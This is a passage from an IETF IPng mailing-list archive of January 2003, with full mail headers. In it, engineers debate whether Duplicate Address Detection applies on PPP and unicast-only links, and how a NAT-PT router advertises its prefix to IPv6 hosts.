	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06J7U16011370
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 11:07:30 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06J7Tuk010619
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 11:07:29 -0800 (PST)
Received: from ncsmtp03.ogw.rr.com (ncsmtp03.ogw.rr.com [24.93.67.84])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA27599
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 11:07:24 -0800 (PST)
Received: from mail7.nc.rr.com (fe7 [24.93.67.54])
	by ncsmtp03.ogw.rr.com (8.12.5/8.12.2) with ESMTP id h06J5Jib004438;
	Mon, 6 Jan 2003 14:05:20 -0500 (EST)
Received: from nc.rr.com ([63.109.132.2]) by mail7.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Mon, 6 Jan 2003 14:03:32 -0500
Message-ID: <3E19D3E0.3050901@nc.rr.com>
Date: Mon, 06 Jan 2003 14:07:12 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Fred L. Templin" <ftemplin@iprg.nokia.com>
CC: Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Subject: Re: DAD scope ??
References: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com> <3E19CBD4.2040704@iprg.nokia.com> <3E19CC6D.8030705@nc.rr.com> <3E19D0ED.20602@iprg.nokia.com>
In-Reply-To: <3E19D0ED.20602@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Fred L. Templin wrote:
> Brian Haberman wrote:
>  > Each ipv6-over-foo doc discusses modifications to ND,
>  > if necessary, for the particular link technology.
> 
> Can you point me to any text in the core architecture
> documents (e.g., RFCs 2461, 2462) that allow this and
> can be used as normative reference?

The 2nd paragraph of the intro in 2461 begins with:

    Unless specified otherwise (in a document that covers
    operating IP over a particular link type) this document
    applies to all link types.

So, it looks like the override is in the link-specific
document and not in the core architecture documents.

Brian


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 11:17:58 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06JHw16011993;
	Mon, 6 Jan 2003 11:17:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06JHwmX011992;
	Mon, 6 Jan 2003 11:17:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06JHs16011985
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 11:17:54 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06JHsXq002582
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 11:17:54 -0800 (PST)
Received: from ncsmtp03.ogw.rr.com (ncsmtp03.ogw.rr.com [24.93.67.84])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA07372
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 11:17:49 -0800 (PST)
Received: from mail6.nc.rr.com (fe6 [24.93.67.53])
	by ncsmtp03.ogw.rr.com (8.12.5/8.12.2) with ESMTP id h06JFfib018607;
	Mon, 6 Jan 2003 14:15:42 -0500 (EST)
Received: from nc.rr.com ([63.109.132.2]) by mail6.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Mon, 6 Jan 2003 14:16:39 -0500
Message-ID: <3E19D650.4020605@nc.rr.com>
Date: Mon, 06 Jan 2003 14:17:36 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ole Troan <ot@cisco.com>
CC: "Fred L. Templin" <ftemplin@iprg.nokia.com>,
   Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Subject: Re: DAD scope ??
References: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com>	<3E19CBD4.2040704@iprg.nokia.com> <3E19CC6D.8030705@nc.rr.com> <7t5el7q9l1s.fsf@mrwint.cisco.com>
In-Reply-To: <7t5el7q9l1s.fsf@mrwint.cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Ole Troan wrote:
>>Each ipv6-over-foo doc discusses modifications to ND,
>>if necessary, for the particular link technology.  For
>>example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
>>that DAD is redundant and needn't be run.
> 
> 
> my interpretation of IPv6 over PPP is different. DAD is redundant only
> for the link-local address, but needs to be run for all other
> addresses on the link.

The last sentence of the 2nd paragraph in Section 5 states:

      "Therefore it is recommended that for PPP links with
       the IPV6CP Interface-Token option enabled the default
       value of the DupAddrDetectTransmits autoconfiguration
       variable [3] be zero."

If DupAddrDetectTransmits is set to zero, then DAD is not run
on the interface since it is an interface variable.  The only
thing that implies that this only is for link-local addresses
is the title of the section.

Brian

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 13:21:50 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06LLo16013556;
	Mon, 6 Jan 2003 13:21:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06LLol1013555;
	Mon, 6 Jan 2003 13:21:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06LLl16013548
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 13:21:47 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06LLkXq013373
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 13:21:46 -0800 (PST)
Received: from ithilien.qualcomm.com (ithilien.qualcomm.com [129.46.51.59])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA06787
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 14:21:41 -0700 (MST)
Received: from magus.qualcomm.com (magus.qualcomm.com [129.46.61.148])
	by ithilien.qualcomm.com (8.12.3/8.12.5/1.0) with ESMTP id h06LK8mI015860;
	Mon, 6 Jan 2003 13:20:08 -0800 (PST)
Received: from SIVAV.qualcomm.com (vpn-10-50-0-7.qualcomm.com [10.50.0.7])
	by magus.qualcomm.com (8.12.3/8.12.5/1.0) with ESMTP id h06LK59A022503;
	Mon, 6 Jan 2003 13:20:06 -0800 (PST)
Message-Id: <4.3.1.2.20030106131308.01e60ef8@jittlov.qualcomm.com>
X-Sender: sivav@jittlov.qualcomm.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 06 Jan 2003 13:20:07 -0800
To: Brian Haberman <bkhabs@nc.rr.com>
From: Siva Veerepalli <sivav@qualcomm.com>
Subject: Re: [6bone] Re: DAD scope ??
Cc: "Fred L. Templin" <ftemplin@iprg.nokia.com>,
   Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
In-Reply-To: <3E19CC6D.8030705@nc.rr.com>
References: <3E19CBD4.2040704@iprg.nokia.com>
 <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com>
 <3E19CBD4.2040704@iprg.nokia.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

True, that is recommended as the default value. However, if a PPP link is 
to support the privacy extensions RFC3041, wouldn't the node have to 
perform DAD when generating an address using an interface ID different from 
the one negotiated during IPv6CP? Of course, if one node on the PPP link 
does not support RFC3046 (i.e., does not generate additional interface 
IDs), then DAD could still be avoided.

Regards,
Siva

At 01:35 PM 1/6/2003 -0500, Brian Haberman wrote:
>Each ipv6-over-foo doc discusses modifications to ND,
>if necessary, for the particular link technology.  For
>example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
>that DAD is redundant and needn't be run.
>
>Regards,
>Brian
>
>Fred L. Templin wrote:
>>Margaret/others,
>>Margaret Wasserman wrote:
>>
>>>DAD is a link-local mechanism (uses link-local multicast
>>>packets).  So, while it checks all addresses, it only
>>>explicitly checks for duplicate addresses on the local link.
>>
>>What about DAD for links that are unicast-only? Alternatives
>>I can imagine are:
>>  1. specify some sort of unicast mechanism for DAD
>>  2. perform some sort of multicast emulation (e.g., MARS)
>>  3. avoid DAD alltogether when one can assume that addresses
>>     are uniquely assigned within the site
>>Thoughts?
>>Fred Templin
>>ftemplin@iprg.nokia.com
>>
>>--------------------------------------------------------------------
>>IETF IPng Working Group Mailing List
>>IPng Home Page:                      http://playground.sun.com/ipng
>>FTP archive:                      ftp://playground.sun.com/pub/ipng
>>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>>--------------------------------------------------------------------
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 13:35:21 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06LZK16013722;
	Mon, 6 Jan 2003 13:35:21 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h06LZKMD013721;
	Mon, 6 Jan 2003 13:35:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h06LZH16013714
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 13:35:17 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h06LZHXq017085
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 13:35:17 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA03355
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 13:35:12 -0800 (PST)
Received: from cisco.com (mrwint.cisco.com [144.254.98.48])
	by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id h06LX3jS018062;
	Mon, 6 Jan 2003 13:33:04 -0800 (PST)
Received: (from otroan@localhost)
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id VAA14260;
	Mon, 6 Jan 2003 21:33:35 GMT
X-Authentication-Warning: mrwint.cisco.com: otroan set sender to ot@cisco.com using -f
To: Brian Haberman <bkhabs@nc.rr.com>
Cc: "Fred L. Templin" <ftemplin@iprg.nokia.com>,
   Margaret Wasserman <mrw@windriver.com>,
   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Subject: Re: DAD scope ??
From: Ole Troan <ot@cisco.com>
Date: Mon, 06 Jan 2003 21:33:35 +0000
In-Reply-To: <3E19D650.4020605@nc.rr.com> (Brian Haberman's message of "Mon,
 06 Jan 2003 14:17:36 -0500")
Message-ID: <7t54r8m9d5c.fsf@mrwint.cisco.com>
User-Agent: Gnus/5.090011 (Oort Gnus v0.11) Emacs/21.2
 (sparc-sun-solaris2.8)
References: <5.1.0.14.2.20030105063655.0321a8b8@mail.windriver.com>
	<3E19CBD4.2040704@iprg.nokia.com> <3E19CC6D.8030705@nc.rr.com>
	<7t5el7q9l1s.fsf@mrwint.cisco.com> <3E19D650.4020605@nc.rr.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>>>Each ipv6-over-foo doc discusses modifications to ND,
>>>if necessary, for the particular link technology.  For
>>>example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
>>>that DAD is redundant and needn't be run.
>> my interpretation of IPv6 over PPP is different. DAD is redundant
>> only
>> for the link-local address, but needs to be run for all other
>> addresses on the link.
>
> The last sentence of the 2nd paragraph in Section 5 states:
>
>       "Therefore it is recommended that for PPP links with
>        the IPV6CP Interface-Token option enabled the default
>        value of the DupAddrDetectTransmits autoconfiguration
>        variable [3] be zero."
>
> If DupAddrDetectTransmits is set to zero, then DAD is not run
> on the interface since it is an interface variable.  The only
> thing that implies that this only is for link-local addresses
> is the title of the section.

agree the text needs to be clarified. it is as necessary to do DAD for
all addresses (apart from the link-local) on PPP links as it is for
Ethernet links.

btw: since you are using the term "Interface-Token" are you referring
to the old PPP RFC, and not RFC2472?

/ot
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 17:46:34 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h071kY16016809;
	Mon, 6 Jan 2003 17:46:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h071kYSY016808;
	Mon, 6 Jan 2003 17:46:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h071kU16016801
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 17:46:31 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h071kUXq029057
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 17:46:30 -0800 (PST)
Received: from mailout3.samsung.com ([203.254.224.33])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA26369
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 18:46:24 -0700 (MST)
Received: from custom-daemon.mailout3.samsung.com by mailout3.samsung.com
 (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov  6 2002))
 id <0H8B00E09M8LPS@mailout3.samsung.com> for ipng@sunroof.eng.sun.com; Tue,
 07 Jan 2003 10:45:57 +0900 (KST)
Received: from ep_mmp1 (localhost [127.0.0.1])
 by mailout3.samsung.com (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov 6
 2002)) with ESMTP id <0H8B008COM8G8X@mailout3.samsung.com> for
 ipng@sunroof.eng.sun.com; Tue, 07 Jan 2003 10:45:52 +0900 (KST)
Received: from daniel7209 ([168.219.203.183])
 by mmp1.samsung.com (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov  6
 2002)) with ESMTPA id <0H8B00FMKMM0WU@mmp1.samsung.com> for
 ipng@sunroof.eng.sun.com; Tue, 07 Jan 2003 10:54:00 +0900 (KST)
Date: Tue, 07 Jan 2003 10:44:31 +0900
From: Soohong Daniel Park <soohong.park@samsung.com>
Subject: RE: NATPT prefix ...
In-reply-to: <000001c2b573$a89fb2e0$68226e0a@HUAWEI.COM>
To: "'Keshava Ayanur'" <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
Message-id: <001801c2b5ee$52f2c140$b7cbdba8@daniel7209>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Mailer: Microsoft Outlook, Build 10.0.2627
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



-----Original Message-----
From: owner-ipng@sunroof.eng.sun.com
[mailto:owner-ipng@sunroof.eng.sun.com] On Behalf Of Keshava Ayanur
Sent: Monday, January 06, 2003 8:06 PM
To: 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Cc: keshav
Subject: NATPT prefix ...


I have question about NAT-PT (RFC 2766).

	How does the hosts, routers in the IPV6 domain knows about the 
	NATPT  prefix that they should use when sending V6 packets to V4
network.

should be received from RA, if not, addresses should be configured by
manually configuration.

	NAT-PT router which resides in the border between V6 & V4 cloud
should 
	advertise this prefix. How ? 

general RA processing


-Daniel
	
Regards,
keshava

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan  6 18:35:11 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h072ZA16017007;
	Mon, 6 Jan 2003 18:35:10 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h072ZAgE017006;
	Mon, 6 Jan 2003 18:35:10 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h072Z716016999
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 18:35:07 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h072Z6uk017274
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 18:35:07 -0800 (PST)
Received: from mta0 ([61.144.161.10])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA09722
	for <ipng@sunroof.eng.sun.com>; Mon, 6 Jan 2003 19:34:57 -0700 (MST)
Received: from ly (mta0 [172.17.1.62])
 by mta0.huawei.com (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12
 2002)) with ESMTPA id <0H8B00KFBOF54E@mta0.huawei.com> for
 ipng@sunroof.eng.sun.com; Tue, 07 Jan 2003 10:33:08 +0800 (CST)
Date: Tue, 07 Jan 2003 10:34:04 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
Subject: RE: NATPT prefix ...
In-reply-to: <001801c2b5ee$52f2c140$b7cbdba8@daniel7209>
To: "'Soohong Daniel Park'" <soohong.park@samsung.com>
Cc: 6bone@mailman.isi.edu, ipng@sunroof.eng.sun.com,
   Keshava  <keshavaak@huawei.com>
Message-id: <000001c2b5f5$3f1bd9c0$68226e0a@HUAWEI.COM>
Organization: Huawei Technology
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-Mailer: Microsoft Outlook, Build 10.0.3416
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi Daniel,
	
	Of course NAT-PT router can advertise the prefix in RA.
	
	But there is no such option in RA, so that NAT-PT router can say
if you 
	want go across V4 (V6) cloud please use this prefix ? 


keshava
	

-----Original Message-----
From: Soohong Daniel Park [mailto:soohong.park@samsung.com] 
Sent: Tuesday, January 07, 2003 9:45 AM
To: 'Keshava Ayanur'; 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Subject: RE: NATPT prefix ...




-----Original Message-----
From: owner-ipng@sunroof.eng.sun.com
[mailto:owner-ipng@sunroof.eng.sun.com] On Behalf Of Keshava Ayanur
Sent: Monday, January 06, 2003 8:06 PM
To: 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Cc: keshav
Subject: NATPT prefix ...


I have question about NAT-PT (RFC 2766).

	How does the hosts, routers in the IPV6 domain knows about the 
	NATPT  prefix that they should use when sending V6 packets to V4
network.

should be received from RA, if not, addresses should be configured by
manually configuration.

	NAT-PT router which resides in the border between V6 & V4 cloud
should 
	advertise this prefix. How ? 

general RA processing


-Daniel
	
Regards,
keshava

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 00:13:55 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h078Dt16018060;
	Tue, 7 Jan 2003 00:13:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h078DsEU018059;
	Tue, 7 Jan 2003 00:13:54 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h078Dp16018052
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 00:13:51 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h078E0Xq028776
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 00:14:00 -0800 (PST)
Received: from realname ([203.254.224.24])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA20985
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 01:13:54 -0700 (MST)
Received: from custom-daemon.mailout1.samsung.com by mailout1.samsung.com
 (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov  6 2002))
 id <0H8C0090146QI8@mailout1.samsung.com> for ipng@sunroof.eng.sun.com; Tue,
 07 Jan 2003 17:13:39 +0900 (KST)
Received: from ep_mmp1 (localhost [127.0.0.1])
 by mailout1.samsung.com (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov 6
 2002)) with ESMTP id <0H8C005JQ46QUL@mailout1.samsung.com> for
 ipng@sunroof.eng.sun.com; Tue, 07 Jan 2003 17:13:38 +0900 (KST)
Received: from daniel7209 ([168.219.203.183])
 by mmp1.samsung.com (iPlanet Messaging Server 5.2 HotFix 1.05 (built Nov  6
 2002)) with ESMTPA id <0H8C00HKY4K8F6@mmp1.samsung.com> for
 ipng@sunroof.eng.sun.com; Tue, 07 Jan 2003 17:21:44 +0900 (KST)
Date: Tue, 07 Jan 2003 17:12:15 +0900
From: Soohong Daniel Park <soohong.park@samsung.com>
Subject: RE: NATPT prefix ...
In-reply-to: <000001c2b5f5$3f1bd9c0$68226e0a@HUAWEI.COM>
To: "'Keshava Ayanur'" <keshavaak@huawei.com>
Cc: ipng@sunroof.eng.sun.com
Message-id: <003201c2b624$7cfda230$b7cbdba8@daniel7209>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Mailer: Microsoft Outlook, Build 10.0.2627
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



-----Original Message-----
From: Keshava Ayanur [mailto:keshavaak@huawei.com] 
Sent: Tuesday, January 07, 2003 11:34 AM
To: 'Soohong Daniel Park'
Cc: 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com; Keshava
Subject: RE: NATPT prefix ...


Hi Daniel,
	
	Of course NAT-PT router can advertise the prefix in RA.
	
	But there is no such option in RA, so that NAT-PT router can say
if you 
	want go across V4 (V6) cloud please use this prefix ? 

		why does it need an option for advertisement ?
		all mechanisms are same as general IPv6 network.

		-Daniel


keshava
	

-----Original Message-----
From: Soohong Daniel Park [mailto:soohong.park@samsung.com] 
Sent: Tuesday, January 07, 2003 9:45 AM
To: 'Keshava Ayanur'; 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Subject: RE: NATPT prefix ...




-----Original Message-----
From: owner-ipng@sunroof.eng.sun.com
[mailto:owner-ipng@sunroof.eng.sun.com] On Behalf Of Keshava Ayanur
Sent: Monday, January 06, 2003 8:06 PM
To: 6bone@mailman.isi.edu; ipng@sunroof.eng.sun.com
Cc: keshav
Subject: NATPT prefix ...


I have question about NAT-PT (RFC 2766).

	How does the hosts, routers in the IPV6 domain knows about the 
	NATPT  prefix that they should use when sending V6 packets to V4
network.

should be received from RA, if not, addresses should be configured by
manually configuration.

	NAT-PT router which resides in the border between V6 & V4 cloud
should 
	advertise this prefix. How ? 

general RA processing


-Daniel
	
Regards,
keshava

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan  7 01:34:21 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h079YK16018413;
	Tue, 7 Jan 2003 01:34:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h079YKIk018412;
	Tue, 7 Jan 2003 01:34:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h079YH16018405
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 01:34:17 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h079YQXq013285
	for <ipng@sunroof.eng.sun.com>; Tue, 7 Jan 2003 01:34:26 -0800 (PST)
Received: from webbox24.server-home.net (webbox24.server-home.net [62.208.70.33])
